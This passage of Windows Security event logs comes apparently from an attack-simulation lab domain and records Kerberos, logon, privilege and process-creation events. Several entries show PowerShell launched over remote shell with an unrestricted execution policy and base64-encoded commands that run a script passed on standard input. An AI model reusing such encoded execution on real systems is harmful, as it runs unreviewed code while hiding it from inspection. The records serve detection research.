JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251790 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1429A3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251789 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1429A3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251788 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251787 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251786 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251785 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x135c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1338 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251784 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1338 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12c4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251783 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14278C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251782 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14278C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251781 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251780 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {952F54C0-EAA7-7C83-9216-2F8A94550E3A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251779 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251887 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfd0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf3c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local 